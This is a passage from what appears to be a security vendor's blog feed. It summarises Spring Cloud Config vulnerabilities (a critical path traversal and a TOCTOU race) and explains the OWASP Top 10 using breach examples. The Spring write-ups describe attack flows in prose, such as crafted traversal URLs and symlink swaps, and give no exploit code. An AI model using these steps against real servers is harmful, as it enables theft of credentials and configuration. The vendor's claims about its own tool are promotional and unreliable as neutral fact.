CVE-2026-40981](https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-40981) - [Patch Commit 4e93ce5: "Add allowed-project-ids property"](https://github.com/spring-cloud/spring-cloud-config/commit/4e93ce54d0c0abcbcdfaba3a6833a93afe8f59bc) - [Spring Cloud Config v5.0.3 Release](https://api.github.com/repos/spring-cloud/spring-cloud-config/releases/tags/v5.0.3) - [Spring Cloud Config v4.3.3 Release](https://api.github.com/repos/spring-cloud/spring-cloud-config/releases/tags/v4.3.3) - [CWE-639: Authorization Bypass Through User Controlled Key](https://cwe.mitre.org/data/definitions/639.html) - [Spring Framework Overview](https://docs.spring.io/spring-framework/reference/overview.html) - [VMware Tanzu Spring](https://www.vmware.com/products/app-platform/tanzu-spring) --- #### Brief Summary: CVE-2026-40982 Directory Traversal in Spring Cloud Config Server - **Date**: May 6, 2026 - **Authors**: ZeroPath CVE Analysis - **Reading Time**: 6 minutes - **Keywords**: CVE-2026-40982, Spring Cloud Config, directory traversal, path traversal, CWE-22, VMware - **URL**: https://zeropath.com/blog/cve-2026-40982-spring-cloud-config-directory-traversal A short review of CVE-2026-40982, a critical directory traversal vulnerability in Spring Cloud Config Server that allows unauthenticated attackers to read arbitrary files via crafted URLs. Covers technical details, affected versions, and remediation guidance. --- ## Introduction A directory traversal flaw in Spring Cloud Config Server allows unauthenticated attackers to read arbitrary files from the underlying host by sending a single crafted HTTP request. Given that Spring Cloud Config typically serves as the centralized configuration backbone for distributed microservice architectures, successful exploitation could expose database credentials, API keys, and internal service configurations across an entire deployment. ## Technical Information CVE-2026-40982 is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory, commonly referred to as Path Traversal. The vulnerability resides in the `spring-cloud-config-server` module, which is designed to serve arbitrary text and binary files to client applications. When serving binary files, the server expects an `Accept` header of `application/octet-stream` and can interact with multiple backend types including Git, SVN, and native file systems. ### Root Cause The core issue is insufficient sanitization of file paths in incoming requests. The Config Server exposes endpoints that resolve file paths based on URL parameters. When an attacker includes path traversal sequences in a specially crafted URL, the server resolves the path outside its intended directory structure, granting access to files elsewhere on the filesystem. ### CVSS Breakdown The CVSS v3.1 vector string assigned by VMware is `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N`, resulting in a base score of 9.1 (Critical). Breaking this down: | Metric | Value | Meaning | | :--- | :--- | :--- | | Attack Vector | Network | Exploitable remotely | | Attack Complexity | Low | No special conditions required | | Privileges Required | None | No authentication needed | | User Interaction | None | No victim action required | | Confidentiality Impact | High | Arbitrary file read | | Integrity Impact | High | Potential to influence served configurations | | Availability Impact | None | Service remains operational | The combination of network accessibility, zero authentication requirements, and low complexity makes this vulnerability particularly dangerous in any environment where the Config Server is reachable from untrusted networks. ### Attack Flow Based on the advisory details, exploitation follows a straightforward pattern: 1. The attacker identifies a Spring Cloud Config Server instance, which typically listens on a known port and exposes predictable endpoint patterns. 2. The attacker constructs a URL containing path traversal sequences targeting a sensitive file (for example, configuration files containing credentials or system files). 3. The attacker sends the crafted request to the Config Server. Depending on the target file type, the request may include an `Accept: application/octet-stream` header for binary content. 4. The server, failing to properly validate the path, resolves the traversal sequences and returns the contents of the requested file. 5. The attacker receives the file contents in the HTTP response, potentially gaining access to secrets, credentials, or other sensitive data managed by the Config Server or stored on the host filesystem. Because the Config Server often has read access to Git repositories, SVN repositories, or local filesystem directories containing application secrets, the blast radius of this vulnerability extends well beyond the server itself. ## Affected Systems and Versions The following Spring Cloud Config release trains are affected: | Release Train | Vulnerable Versions | Fixed Version | Availability | | :--- | :--- | :--- | :--- | | 3.1.x | 3.1.0 through 3.1.13 (inclusive) | 3.1.14 | Enterprise Support Only | | 4.1.x | 4.1.0 through 4.1.9 (inclusive) | 4.1.10 | Enterprise Support Only | | 4.2.x | 4.2.0 through 4.2.6 (inclusive) | 4.2.7 | Enterprise Support Only | | 4.3.x | 4.3.0 through 4.3.2 (inclusive) | 4.3.3 | Open Source | | 5.0.x | 5.0.0 through 5.0.2 (inclusive) | 5.0.3 | Open Source | Older, unsupported versions of Spring Cloud Config are also affected. Organizations running versions outside these listed trains should assume they are vulnerable and migrate to a supported release immediately. It is worth noting that fixes for the 3.1.x, 4.1.x, and 4.2.x branches are only available through VMware Tanzu Spring Enterprise Support. Organizations on these older branches without enterprise contracts will need to upgrade to the 4.3.x or 5.0.x trains to obtain the fix through open source channels. The vendor advisory does not document any configuration workarounds, making version upgrades the only officially supported remediation path. ## Vendor Security History Spring Cloud Config is maintained under the Spring ecosystem, now managed by VMware (a Broadcom division following the November 2023 acquisition). VMware maintains a dedicated security advisory page at [spring.io/security](https://spring.io/security/page-2) and follows a structured disclosure and patching process. The tiered support model, where older branch fixes are gated behind enterprise contracts, is a pattern that has become more pronounced since the Broadcom acquisition. This creates a practical gap for organizations on older open source deployments that need security patches but lack enterprise support agreements. ## References - [Spring Security Advisory: CVE-2026-40982](https://spring.io/security/cve-2026-40982) - [NVD Entry: CVE-2026-40982](https://nvd.nist.gov/vuln/detail/CVE-2026-40982) - [Spring Cloud Config Documentation](https://docs.spring.io/spring-cloud-config/reference/index.html) - [Spring Cloud Config: Serving Binary Files](https://docs.spring.io/spring-cloud-config/reference/server/serving-binary-files.html) - [Spring Cloud Config: File System Backend](https://docs.spring.io/spring-cloud-config/reference/server/environment-repository/file-system-backend.html) - [VMware Tanzu Spring](https://www.vmware.com/products/app-platform/tanzu-spring) - [Spring Security Advisories Archive](https://spring.io/security/page-2) - [Security Next (Japanese): Spring Cloud Config Path Traversal Report](https://www.security-next.com/184099) --- #### Spring Cloud Config Server CVE-2026-41002: Overview of a TOCTOU Race Condition in Git Base Directory Handling - **Date**: May 6, 2026 - **Authors**: ZeroPath CVE Analysis - **Reading Time**: 5 minutes - **Keywords**: CVE-2026-41002, Spring Cloud Config, TOCTOU, CWE-367, race condition, VMware Spring - **URL**: https://zeropath.com/blog/cve-2026-41002-spring-cloud-config-toctou A brief summary of CVE-2026-41002, a high severity TOCTOU race condition in Spring Cloud Config Server that affects five release trains and carries a bifurcated remediation path depending on vendor support tier. --- ## Introduction A race condition in Spring Cloud Config Server's Git repository cloning mechanism allows a locally privileged attacker to manipulate the filesystem directory used for configuration storage, potentially exposing or tampering with sensitive configuration data distributed to downstream microservices. The vulnerability, tracked as CVE-2026-41002, carries a CVSS score of 7.2 (High) and affects five active release trains, with a remediation path that varies depending on whether an organization holds VMware Enterprise Support. Spring Cloud Config Server is a central configuration management component in the Spring Cloud ecosystem, widely used to externalize and distribute configuration across microservices deployments. It integrates with Git repositories to serve versioned configuration properties to client applications at runtime. ## Technical Information CVE-2026-41002 is classified under CWE-367: Time of Check Time of Use (TOCTOU) Race Condition. The vulnerability is located in the handling of the `spring.cloud.config.server.git.basedir` configuration property. This property defines the local filesystem directory where Spring Cloud Config Server clones Git repositories that contain application configuration. The fundamental issue is that the server checks the state of this base directory and then uses it in a subsequent, non-atomic operation. This temporal gap between the check and the use creates a window during which an attacker can alter the directory's state on the filesystem. By substituting the directory (for example, via a symlink swap or directory replacement) between the check and the use, an attacker could redirect the Config Server to interact with an attacker-controlled location. ### CVSS Vector Analysis The full CVSS v3.1 vector is `AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:N`. The individual components tell us quite a bit about the exploitation constraints and impact: - **Attack Vector (Local):** The attacker must have local access to the system running the Config Server. This is not remotely exploitable. - **Attack Complexity (High):** Successfully exploiting the race condition requires precise timing to manipulate the directory during the narrow window between the check and the use. - **Privileges Required (High):** The attacker needs elevated privileges on the local system, which significantly narrows the pool of potential attackers. - **User Interaction (None):** No action from a legitimate user is required to trigger the vulnerability. - **Scope (Changed):** This is the most notable aspect of the scoring. A scope change means the impact extends beyond the vulnerable component (the Config Server process) to affect other components, likely the downstream services consuming configuration from the server. - **Confidentiality and Integrity (High/High):** A successful exploit could expose sensitive configuration values (database credentials, API keys, secrets) and allow an attacker to inject or modify configuration data served to client applications. - **Availability (None):** The vulnerability does not impact system availability. The scope change is particularly significant in microservices architectures. If an attacker can manipulate the configuration source, every downstream service that pulls configuration from the compromised Config Server instance could be affected. This makes the vulnerability especially relevant in multi-tenant environments or shared infrastructure where multiple users or processes have local access to the Config Server host. ### What We Do Not Know The available sources do not include proof of concept exploit code, specific details about the vulnerable code path, or a step-by-step exploitation walkthrough. We cannot confirm the exact mechanism (symlink attack, directory replacement, mount manipulation, or another technique) that would be used to exploit the race window. ## Affected Systems and Versions The vulnerability spans five active release trains of Spring Cloud Config: | Affected Version Range | Fixed Version | Availability | | :--- | :--- | :--- | | 3.1.0 through 3.1.13 | 3.1.14 | Enterprise Support Only | | 4.1.0 through 4.1.9 | 4.1.10 | Enterprise Support Only | | 4.2.0 through 4.2.6 | 4.2.7 | Enterprise Support Only | | 4.3.0 through 4.3.2 | 4.3.3 | Open Source | | 5.0.0 through 5.0.2 | 5.0.3 | Open Source | Older, unsupported versions are also affected. Organizations running on the 3.1.x, 4.1.x, or 4.2.x branches without an active Enterprise Support agreement must migrate to either the 4.3.x or 5.0.x branch to obtain the fix through the open source channel. Any deployment that uses the `spring.cloud.config.server.git.basedir` property (or relies on the default base directory behavior) on a system where multiple users or processes have local access should be considered at risk. ## Vendor Security History The disclosure of CVE-2026-41002 was part of a coordinated batch release on May 6, 2026, in which VMware and the Spring team published fixes for four vulnerabilities in the Spring Cloud Config ecosystem simultaneously: | CVE | Vulnerability Type | Severity | | :--- | :--- | :--- | | CVE-2026-40982 | Path Traversal | Critical (9.1) | | CVE-2026-41002 | TOCTOU Race Condition | High (7.2) | | CVE-2026-40981 | Google Secrets Manager Access | High | | CVE-2026-41004 | Plaintext Sensitive Data in Trace Logs | Medium (4.4) | The simultaneous release of four security fixes across the same product suggests either a focused security audit of the Spring Cloud Config codebase or a coordinated response to multiple independent reports. Organizations upgrading to address CVE-2026-41002 will also remediate the critical path traversal vulnerability (CVE-2026-40982), which carries a CVSS score of 9.1 and should be prioritized accordingly. ## References - [Spring Security Advisory: CVE-2026-41002](https://spring.io/security/cve-2026-41002) - [NVD Entry: CVE-2026-41002](https://nvd.nist.gov/vuln/detail/CVE-2026-41002) - [Spring Cloud Config: Version Control Backend Filesystem Use Documentation](https://docs.spring.io/spring-cloud-config/reference/server/environment-repository/version-control-backend-filesystem-use.html) - [Security Next: Spring Cloud Config Multiple Vulnerabilities (Japanese)](https://www.security-next.com/184099) - [Spring Security Advisory: CVE-2026-40982](https://spring.io/security/cve-2026-40982) --- ### News (5 most recent of 5 total) #### OWASP Top 10 2021 vs 2025: What to Expect - **Date**: June 1, 2025 - **Authors**: ZeroPath Security Research - **Reading Time**: 7 minutes - **Keywords**: OWASP Top 10, OWASP Top 10 2025, OWASP Top 10 2021, OWASP Top Ten Vulnerabilities 2021, OWASP Top Ten Vulnerabilities 2025, Owasp 2021 vs 2025, OWASP Top 10 2021 vs 2025, OWASP Top 10 2021 vs 2025 comparison, OWASP Top 10 2021 vs 2025 similarities, OWASP Top 10 2021 vs 2025 changes, OWASP Top 10 2021 vs 2025 new vulnerabilities, OWASP Top 10 2021 vs 2025 new threats - **URL**: https://zeropath.com/blog/owasp-2021-vs-2025 After looking at multiple pentest reports and industry talks, we expect changes to be made to OWASP Top 10 2025. Here is an expected list for OWASP Top 10 2025 with each category explained in detail. --- ## What is OWASP Top 10 The [OWASP Top 10](https://zeropath.com/blog/what-is-owasp) started in 2003 as a quick awareness sheet; two decades later, it is the data‑driven scoreboard for web application risk. In every release cycle, the project collects thousands of real vulnerability records and surveys of security engineers and then weights each category by prevalence, exploitability, detectability, and business impact. OWASP regularly updates the list to reflect evolving threats, making it a cornerstone of web application security. ## OWASP Top 10 2021 Overview OWASP Top 10 2021 introduced some significant changes to the Top 10 list from 2017. - **Broken Access Control is now #1:** 9 of 10 pentests reveal privilege-escalation paths, making authorization a top priority. - **Shift left to design & dependencies:** Introducing categories like Insecure Design and Software & Data Integrity Failures was a start to push teams to threat model early and lock down supply-chain pipelines. - **XSS Merge:** OWASP folded Cross-Site Scripting into A03 Injection. Of all the applications tested by OWASP, 94% had broken access control, proving that even decades of SDL training haven't reduced its occurrence. For a deeper dive into each of the 2021 categories, [see our OWASP 2021 breakdown.](https://zeropath.com/blog/what-is-owasp) ## OWASP 2025 Top 10 Predictions OWASP plans to release the list in the first half of 2025, and expectations are that the OWASP Top 10 2025 will emphasize "secure-by-design" ideas. In 2021, OWASP already signaled this shift by introducing [Insecure Design](https://owasp.org/Top10/A04_2021-Insecure_Design/) as a category focused on design-level weaknesses and the need for threat modeling and secure patterns. Overall, there is a push towards avoiding vulnerabilities early rather than patching them later in production, a push towards shifting left. Another expected change is consolidating overlapping categories to keep the list straightforward. OWASP has trended toward broader risk categories in recent cycles. The 2021 list folded Cross-Site Scripting into the general Injection category and merged XML External Entity issues into Security Misconfiguration. 2025 should be no different. Monitoring Failures (with few Common Weakness Enumerations mapped) might be absorbed into Insecure Design since lack of monitoring is fundamentally a design oversight. Apart from restructuring, some new vulns have the potential to make it to the list. ### 1. Broken Access Control This category has consistently ranked as one of the top web app risks. It covers failures to enforce proper user privileges, such as missing authorization checks or predictable object IDs that allow unauthorized data access. CWEs that fall under this category are IDOR, forced browsing, file permission issues, etc. OWASP mentioned that Broken Access Control has 34 CWEs mapped to it and has more occurrences in applications than any other category. Researchers found some form of access-control weakness in 94% of the tested apps. This overwhelming prevalence is why it moved to #1 and will likely remain there in 2025. - #### T-Mobile Breach: A case in point is the T-Mobile API breach disclosed in January 2023. Attackers accessed an exposed API endpoint without proper authentication, stealing the personal data of 37 million customers over two months. T-Mobile admitted the API "provided access to limited customer data" that should have been protected. While T-Mobile didn't fully disclose the technical details, security analysts note this is as a classic example of broken object-level authorization (a client could retrieve other users' data via an unauthenticated or improperly authorized request). - #### Twitter Data Leak: In early 2023, 235 million user records were exposed. This stemmed from a flaw in a Twitter API introduced by a 2021 update. The API allowed an attacker to enumerate or link user accounts with email or phone numbers without proper rate limiting or checks. This design oversight (essentially, broken access control at the API level) enabled the scraping of a vast dataset of user info. ### 2. Injection Despite safer ORMs and auto‑escaping frameworks, SQLi, XSS, SSTI, Command Injection, and NoSQLi are still huge issues. Injection occurs when an application sends untrusted data to an interpreter without proper sanitization or binding, allowing attackers to execute unintended commands or queries. Some injection flaws include SQL injection, OS command injection, and LDAP/NoSQL injection. - **MOVEit Transfer breach**: MOVEit is a managed file transfer web application used by hundreds of organizations. The attackers exploited the SQL injection flaw ([CVE-2023-34362](https://zeropath.com/blog/cve-2023-34362-moveit-transfer-sql-injection-exploitation)) in May 2023, gaining unauthorized access to MOVEit's database and ultimately installing web shell backdoors, enabling mass data theft from any organization running the vulnerable software. By October 2023, over 2,000 organizations were affected by this vector, impacting over 60 million individuals as the affected organizations dragged their clients into the breach. The financial toll was nearly $10 billion. ### 3. Insecure Design (and Lack of Monitoring) Insecure design is based on more fundamental design and architectural weaknesses in applications than mere implementation bugs. It refers to cases where developers did not consider security during the initial design of a feature or system, leading to gaps that a simple patch cannot fix. OWASP's rationale for adding this category was to encourage a "shift left" mindset. In other words, building security from the design phase could eliminate many security issues rather than retrofitting it later. A classic example of insecure design is an application that lacks anti-automation controls by design – for instance, failing to impose any rate limits or captcha on sensitive operations. Such a design flaw doesn't violate a specific coding rule but opens the door for abuse (bots performing credential stuffing, data scraping, etc.). It's hard to pinpoint real-world breaches solely to "insecure design" since design flaws often manifest as complex logic issues. However, there have been incidents that clearly stem from poor design decisions. - #### Twitter API (2021-22) The Twitter API vulnerability we discussed earlier allowed anyone to run unlimited queries that linked email addresses to user accounts, which was a design oversight in the feature. This oversight let attackers scrape roughly 235 million user records in 2021-2022. ### 4. Identification and Authentication Failures This category covers weaknesses in how identities are proven and maintained: weak password complexity requirements, missing multi-factor authentication, session ID leaks or not expiring sessions, and logic flaws in login or password reset flows. This category actually saw a positive impact and went from #2 in 2017 to #7 in 2021, possibly thanks to the broader adoption of secure frameworks and libraries for authentication. In 2023, the **CircleCI breach** (Jan 2023) involved stealing an employee's 2FA-backed SSO session token to penetrate the development platform's network, after which they could exfiltrate customer secrets. In mid-2023, security researchers revealed flaws in implementing OAuth for specific **Microsoft applications** that could allow token forgery under particular conditions, essentially an authentication logic error. This category shows that everything from password storage to session management to MFA enforcement must be correctly implemented. In most cases, the basics are what fail: databases of user credentials left in plaintext or predictable password reset tokens that attackers guess. ### 5. Cryptographic Failures (Sensitive Data Exposure) Cryptographic failures involve weaknesses in protecting data in transit and at rest, from using outdated encryption algorithms or improper cipher modes to failing to encrypt sensitive data. 2021 changes shifted the focus of this category from data getting exposed (symptom) to poor use of crypto (the root cause). - #### LastPass (2022-2023) Although it started as a compromise of the developer's credentials, the most critical failures were cryptographic. The attackers exfiltrated encrypted password vaults, and it emerged that many vaults relied on potentially insufficient PBKDF2 hashing iterations. In 2023, LastPass had to increase its PBKDF2 iterations and fix some legacy encryption practices, essentially correcting a cryptographic weakness that could have led to vault cracking. Basic pitfalls of Cryptographic Failures: - Using deprecated or weak cryptographic algorithms/protocols (e.g., MD5, SHA-1, DES, or legacy SSL/TLS versions). - Misusing cryptographic primitives or modes (e.g., reusing initialization vectors (IVs) or nonces, using insecure cipher modes like ECB, or neglecting cryptographic integrity/authenticity checks). - Inadequate protection of sensitive data at rest (such as storing passwords in plaintext or using unsalted, low-iteration hashes for credentials). - Failing to enforce secure transport for data in transit (e.g., not using TLS everywhere or neglecting HSTS, which allows downgrade attacks to HTTP). ### 6. Security Misconfiguration Security Misconfigurations include leaving default admin passwords in place, having directory listings open on a server, enabling debug or trace modes in production, misconfigured cloud storage buckets, improper CORS settings, verbose error messages revealing stack traces, and many more. The surge of cloud services and containerized deployments has increased the ways misconfigs happen. In 2021, OWASP mentioned that 90% of applications tested had some form of misconfiguration issue. These factors led to a rank upgrade for this category (it became OWASP A05:2021) and absorbed the prior XML External Entities risk into itself. - #### Toyota The company disclosed a data breach affecting millions of customers caused by an improper cloud configuration on a developer system. The misconfiguration left customer and vehicle databases accessible without authentication for years. ### 7. Vulnerable and Outdated Components (Improper Asset Management) Web apps usually rely on multiple third-party components and libraries, from open-source frameworks to commercial SDKs. The idea is that organizations must keep a record of their frontend/backend components and ensure they are promptly patched. In 2021, this category notably had no CVEs directly mapped in the OWASP data because it's more of a broad risk than a single weakness. Some of the most damaging attacks in recent years have been due to unpatched but known vulnerabilities. - #### Log4Shell ([CVE-2021-44228](https://zeropath.com/blog/cve-2021-44228-log4shell-log4j-rce)) Researchers disclosed a critical flaw in the Log4j logging library in late 2021. Throughout 2022 and well into 2023, attackers continued to exploit Log4Shell on systems that had not yet applied the fix. In fact, according to joint cybersecurity agency reports, Log4Shell was still among the top exploited vulnerabilities in 2023. The primary issue with this category is not the Vulnerabilities themselves but the fact that many organizations are reluctant to upgrade even after a patch is available and actively broadcast. ### 8. Software and Data Integrity Failures Software and Data Integrity Failures ensure that software updates and continuous integration/deployment (CI/CD) pipelines are trustworthy and not tampered with. OWASP created this category to address issues like insecure deserialization and supply chain vulnerabilities beyond using outdated components. It highlights the risks in our assumptions about software: assuming an update server is delivering legit code or that a pipeline is secure from the injection. - #### 3CX Software In this attack, a nation-state actor compromised a trading software `(X_Trader)` and used it as a beachhead to infiltrate 3CX's network; they then implanted malware into 3CX's legitimate application updates. As Mandiant, who investigated, noted: "This is the first time [we have] seen a software supply chain attack lead to another supply chain attack." If someone breaks into your build pipeline or updates the signing process, they can turn your software into a trojan horse without your customers or even you realizing it. 3CX was distributing signed, malware-laced installers for weeks before detection. This incident perfectly echoes the 2020 SolarWinds Orion incident. - #### npm and PyPI Recently, there was a surge in the number of malicious packages on both npm and PyPI. A PyPI package called ```web3-utils``` was tracking environment variables. ### 9. Algorithmic Denial of Service (ReDoS and Expensive Queries) Given the recent ReDoS incidents, OWASP will likely include this category in the OWASP 2025 Top 10. Algorithmic DoS attacks exploit weaknesses in application algorithms or data processing logic to exhaust server resources with minimal input. The codebase usually has nothing wrong, but the vulnerability lies in the fundamental business logic itself. For example, an attacker can provide specially crafted input to a regex engine, triggering worst-case catastrophic backtracking and consuming extreme CPU time. This can hang or slow the application dramatically for a single request. Similarly, "expensive query" attacks (deeply nested GraphQL queries or unbounded database queries) abuse legitimate query features to force disproportionate work on the server side, leading to potential denial of service. Although ReDoS large-scale incidents have been less frequent than Broken Access Control or SQL Injection, some While ReDoS large-scale incidents are less common than injection flaws, developers have documented several algorithmic DoS vulnerabilities in recent years. - #### ReDoS Vulnerability in Ruby on Rails In early 2024, developers found a ReDoS vulnerability in Ruby on Rails (Action Dispatch's Accept header parser). Rails 7.1.3.1 patched the issue ([CVE-2024-26142](https://zeropath.com/blog/cve-2024-26142-rails-redos-accept-header)) and the maintainers assigned it a score of CVSS 7.5. - #### ReDoS Vulnerability in Node.js Library ReDoS in the popular Node.js library ```get-func-name``` ([CVE-2023-43646](https://zeropath.com/blog/cve-2023-43646-redos-chai-get-func-name)), where an imbalance in parentheses in input could lead to “excessive backtracking” and CPU exhaustion. - #### ReDoS Vulnerabilities in Cloudflare GraphQL APIs are another avenue for algorithmic DoS: Cloudflare reported that GraphQL queries (extremely deep nesting or querying vast amounts of data in one request) could "place a disproportional load on the origin" and effectively cause a denial of service. In response, Cloudflare's API Gateway added protections for "two of the most common GraphQL abuse vectors: deeply nested queries and queries that request more information than they should." The OWASP API Security Top 10 (2023) introduced "Unrestricted Resource Consumption" as a category since unchecked use of CPU, memory, or bandwidth can quickly lead to many types of DoS scenarios in APIs. ### 10. HTTP Request Smuggling (HRS) HTTP Request Smuggling exploits inconsistent parsing of HTTP requests between two or more servers (typically a frontend proxy/load balancer and a backend server). By crafting ambiguous HTTP request sequences, one can "smuggle" a malicious request through the frontend so that the backend interprets an entirely different request sequence. This desynchronization leads to multiple outcomes: capturing users' requests/responses, bypassing security controls, session hijacking, cache poisoning, or even remote code execution in some cases. HRS has gained attention in recent years through research like James Kettle's "HTTP Desync Attacks," it continues to yield critical findings on modern platforms. There have been multiple incidents of HTTP Request Smuggling in recent years. - #### HTTP Request Smuggling in Google Cloud Platform An HRS variant dubbed ```TE.0``` affected the Google Cloud Platform's load balancer and, by extension, thousands of websites behind it. By manipulating the Transfer-Encoding header, the team found they could compromise a wide range of GCP-hosted services, including Google's Identity-Aware Proxy, via request smuggling. This single technique opened a critical vulnerability in thousands of web applications, illustrating how severe HRS can be when common infrastructure is affected. - #### HTTP Request Smuggling in BIG-IP A request smuggling flaw ([CVE-2023-46747](https://zeropath.com/blog/f5-big-ip-cve-2023-46747-authentication-bypass-rce)) in the F5 BIG-IP appliance, a high-end load balancer used by many enterprises. By sending specifically crafted requests, they achieved an authentication bypass on the BIG-IP’s management interface, leading to a compromise of an F5 system without credentials. This HRS bug was closely related to a prior smuggling bug ([CVE-2022-26377](https://zeropath.com/blog/cve-2022-26377-apache-ajp-smuggling-analysis)). Notably, large organizations deploy F5 devices, so this vulnerability had a vast impact surface. - #### HTTP Request Smuggling in Cloudflare Recently, Cloudflare revealed a request smuggling vulnerability in its new HTTP proxy software, Pingora. Cloudflare's free-tier CDN (which uses Pingora) was vulnerable to an `HTTP/1.1` request smuggling attack ([CVE-2025-4366](https://zeropath.com/blog/cve-2025-4366-pingora-request-smuggling)). It could have caused visitors to Cloudflare sites to make subsequent requests to their servers and observe which URLs the visitor was initially attempting to access, essentially hijacking part of a user's session. Cloudflare mitigated the issue within 22 hours of notification and found no evidence of prior exploitation. Cloudflare stated, "We treat any potential request smuggling or caching issue with extreme urgency," given the risk of traffic misrouting and cache poisoning on their platform. These were just a few examples of HTTP Request Smuggling; many more reports of HRS appear in standard software. - Apache Tomcat had a long-standing request smuggling bug (in parsing the `Transfer-Encoding` header). Maintainers patched the bug in 2021 after it had gone unnoticed since 2015. - In 2022, Node.js's core HTTP parser similarly had a smuggling bug ([CVE-2022-35256](https://zeropath.com/blog/cve-2022-35256-nodejs-http-request-smuggling)) that could allow desync attacks against Node-based servers. ## Beyond Top 10: Other Categories to Watch Out For - ### AI/ML-related vulnerabilities There has been a surge in AI vulnerabilities, and looking at the number of applications using AI in their fundamental business logic, OWASP has released its [Top 10 for LLMs](https://owasp.org/www-project-top-10-for-large-language-model-applications/) and [Top 10 for Machine Learning](https://owasp.org/www-project-machine-learning-security-top-10/). Web apps integrating AI (chatbots, recommendation engines) might introduce new angles of attack like prompt injection or model poisoning. Top 10 likely won't list these explicitly in 2025 unless they become more relevant to typical web apps. However, it's still very critical to be aware of such vulnerabilities. If you are using the latest models for coding and more, we have a detailed guide on [how to make your vibe coding more secure and reliable.](https://zeropath.com/blog/vibe-coding-and-security). Apart from all the Vulnerabilities we discussed so far, there are always business logic bugs that are most nuanced to catch. Since they are not merely syntax bugs, you would need to completely understand the codebase to find them. If you are curious about business logic bugs, you should check [the business logic detection rate of ZeroPath and how it compares to other SAST tools.](https://zeropath.com/blog/benchmarking-zeropath) ## Conclusion We expect the OWASP Top 10 2025 to reinforce core issues like access control, injection, and secure configuration with a forward-looking lens that addresses how the threat landscape has moved. Emerging categories like secure design, HTTP Request Smuggling (HRS), ReDoS, supply chain integrity, race conditions, and more reflect the current blind spots. --- #### What is OWASP and OWASP Top 10? - **Date**: May 31, 2025 - **Authors**: ZeroPath Security Research - **Reading Time**: 6 minutes - **Keywords**: OWASP, OWASP Top 10, OWASP Top 10 2025, OWASP Top 10 2021, OWASP Top Ten Vulnerabilities, OWASP Top Ten Vulnerabilities 2021, Owasp and OWASP Top 10 - **URL**: https://zeropath.com/blog/what-is-owasp A detailed guide on OWASP and OWASP top 10. The importance of OWASP top 10 and how it can help you secure your web applications. --- OWASP, or the [Open Web Application Security Project](https://owasp.org/), was founded in 2001. It’s a global, non-profit community where security professionals share insights and develop resources that help secure software against vulnerabilities. Essentially, OWASP opens up valuable security knowledge that might otherwise remain trapped inside large corporations or pricey consulting firms. OWASP has produced an ecosystem of security projects: - **[OWASP ZAP](https://www.zaproxy.org/getting-started/?utm_source=chatgpt.com)**: A widely-used, free tool for finding security vulnerabilities in web applications. - [**Cheat Sheet Series**](https://cheatsheetseries.owasp.org/): Quick-reference guides for implementing effective security practices. - **[WebGoat](https://owasp.org/www-project-webgoat/) and [Juice Shop](https://owasp.org/www-project-juice-shop/)**: Intentionally vulnerable apps designed to help developers practice spotting and fixing security flaws. But OWASP is most famous for the OWASP Top 10, a critical resource in web security. ## The OWASP Top 10: The Web Application Security Risks Originally started as a simple list, the OWASP Top 10 has grown into the definitive guide for web application security risks. - Based on real-world vulnerability data collected from thousands of applications. - Incorporates insights from industry experts about emerging threats. - Provides actionable solutions, not just descriptions of issues. All of this makes it a remarkably effective resource that helps organizations focus security resources on the vulnerabilities that matter most. ## OWASP Top 10 (2021 Edition) ### A01: Broken Access Control Found in 94% of applications tested, this category claimed the top position in 2021 (up from #5 in 2017) due to its high frequency. **Issue**: Access control enforces that users can only perform actions within their permitted authority. When these mechanisms fail, attackers can act outside their intended permissions. **Impact**: Unauthorized access to sensitive data, modification of other users' accounts, elevation of privileges, or complete system compromise. **Attack vectors**: - Path traversal exploits - Insecure Direct Object References (IDOR) - JWT token manipulation - CORS misconfigurations **Prevention strategies**: - Implement deny-by-default access controls - Centralize access control logic (via middleware or service layers) - Invalidate session tokens on logout or privilege change - Enforce ownership and object-level permissions in code - Log and monitor access control failures for incident response ### A02: Cryptographic Failures **Issue**: Failures in implementing proper encryption and data protection, leading to exposure of sensitive information. **Impact**: Data breaches exposing personal information, credit card details, or credentials that can be used in further attacks. **Attack vectors**: - Man-in-the-middle attacks on unencrypted data - Exploitation of weak encryption algorithms - Password storage using reversible encryption or weak hashing **Prevention strategies**: - Classify data processed by your application - Apply encryption based on classification - Disable TLS versions below 1.2 - Use modern algorithms (AES-256, SHA-256, etc.) - Implement proper key management - Store passwords with adaptive algorithms like Argon2 ### A03: Injection **Issue**: Applications send untrusted data to interpreters without proper validation or escaping. **Impact**: Data theft, deletion, or corruption; authentication bypass; and in some extreme cases, complete system takeover. **Prevention strategies**: - Use parameterized queries for all database operations - Validate all inputs using positive validation (allowlist) - Implement context-aware output encoding - Use modern frameworks with built-in XSS protection - Consider Content Security Policy (CSP) headers ### A04: Insecure Design **New in 2021**: Added to highlight that security must be a design consideration, not just an implementation concern. **Issue**: Architectural flaws that exist before a single line of code is written. **Real-world scenario**: A banking application that allows unlimited password attempts without any rate limiting or lockout mechanism—even perfect implementation can't fix this design flaw. **Prevention strategies**: - Establish secure development lifecycle requirements - Use threat modeling for critical authentication, access control, business logic - Integrate security language and controls into user stories - Implement security champions in development teams - Use "abuse case" testing scenarios alongside functional testing --- After reading this far, if you think there are a lot of vulnerabilities to look out for, you are right. These are merely 10 of the most common vulnerabilities, but there could be many more in production. In fact, Business Logic & Authentication Vulnerabilities are one of the most nuanced ones to capture. ZeroPath is currently the only SAST tool that can detect Business logic flaws. [If you are curious, check out how ZeroPath compares to Snyk, Semgrep, Bearer, and more.](https://zeropath.com/blog/benchmarking-zeropath) --- ### A05: Security Misconfiguration **Issue**: Improper implementation of security controls across the application stack, from servers to frameworks. **Impact**: Exposed sensitive data, default accounts enabled, overly verbose error messages revealing internal structure. **Common examples**: - Unnecessary features enabled (e.g., unused ports, services) - Default credentials unchanged - Error handling that reveals stack traces - Outdated software with known vulnerabilities - Misconfigured HTTP headers **Prevention strategies**: - Implement automated scanning for misconfiguration - Use minimal platforms without unnecessary features - Automate hardening across all environments - Remove or disable unused features and frameworks - Implement security headers (HSTS, CSP, etc.) ### A06: Vulnerable and Outdated Components **Issue**: Using components with known vulnerabilities or components that are no longer maintained. **Impact**: The Log4Shell vulnerability [CVE-2021-44228](https://zeropath.com/blog/cve-2021-44228-log4shell-log4j-rce) demonstrated how a single vulnerability in a widely-used component could affect millions of systems globally. **Prevention strategies**: - Maintain an inventory of all components and dependencies - Only obtain 